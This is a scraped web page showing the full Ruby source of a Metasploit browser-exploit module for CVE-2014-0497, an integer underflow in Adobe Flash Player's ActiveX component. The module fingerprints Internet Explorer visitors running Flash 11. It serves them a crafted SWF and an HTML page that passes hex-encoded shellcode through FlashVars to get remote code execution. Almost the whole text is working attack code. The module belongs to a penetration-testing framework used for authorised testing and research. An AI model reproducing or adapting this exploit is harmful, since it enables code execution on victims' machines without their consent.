Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_avm2.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info={})11super(update_info(info,12'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution",13'Description' => %q{14This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player15before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an16integer underflow in several avm2 instructions, which can be turned into remote code17execution under the context of the user, as exploited in the wild in February 2014. This18module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP19SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes20rop chains for several Flash 11 versions, as exploited in the wild.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Unknown', # vulnerability discovery and exploit in the wild26'juan vazquez' # msf module27],28'References' =>29[30[ 'CVE', '2014-0497' ],31[ 'OSVDB', '102849' ],32[ 'BID', '65327' ],33[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],34[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ]35],36'Payload' =>37{38'Space' => 1024,39'DisableNops' => true40},41'DefaultOptions' =>42{43'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',44'Retries' => false45},46'Platform' => 'win',47# Versions targeted in the wild:48# [*] Windows 8:49# 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,1450# 11,6,602,167, 11,6,602,171 ,11,6,602,18051# 11,7,700,169, 11,7,700,202, 11,7,700,22452# [*] Before windows 8:53# 11,0,1,152,54# 11,1,102,55, 11,1,102,62, 11,1,102,6355# 11,2,202,228, 11,2,202,233, 11,2,202,23556# 11,3,300,257, 11,3,300,27357# 11,4,402,27858# 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,14959# 11,6,602,168, 11,6,602,171, 11,6,602,18060# 11,7,700,169, 11,7,700,20261# 11,8,800,97, 11,8,800,5062'BrowserRequirements' =>63{64:source => /script|headers/i,65:activex => [66{67clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',68method: 'LoadMovie'69}70],71:os_name => OperatingSystems::Match::WINDOWS,72:ua_name => Msf::HttpClients::IE,73:flash => lambda { |ver| ver =~ /^11\./ }74},75'Targets' =>76[77[ 'Automatic', {} ]78],79'Privileged' => false,80'DisclosureDate' => '2014-02-05',81'DefaultTarget' => 0))82end8384def exploit85@swf = create_swf86super87end8889def on_request_exploit(cli, request, target_info)90print_status("Request: #{request.uri}")9192if request.uri =~ /\.swf$/93print_status("Sending SWF...")94send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})95return96end9798print_status("Sending HTML...")99tag = retrieve_tag(cli, request)100profile = browser_profile[tag]101profile[:tried] = false unless profile.nil? # to allow request the swf102send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})103end104105def exploit_template(cli, target_info)106107swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"108shellcode = get_payload(cli, target_info).unpack("H*")[0]109110html_template = %Q|<html>111<body>112<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />113<param name="movie" value="<%=swf_random%>" />114<param name="allowScriptAccess" value="always" />115<param name="FlashVars" value="id=<%=shellcode%>" />116<param name="Play" value="true" />117</object>118</body>119</html>120|121122return html_template, binding()123end124125def create_swf126path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )127swf = ::File.open(path, 'rb') { |f| swf = f.read }128129swf130end131end132133134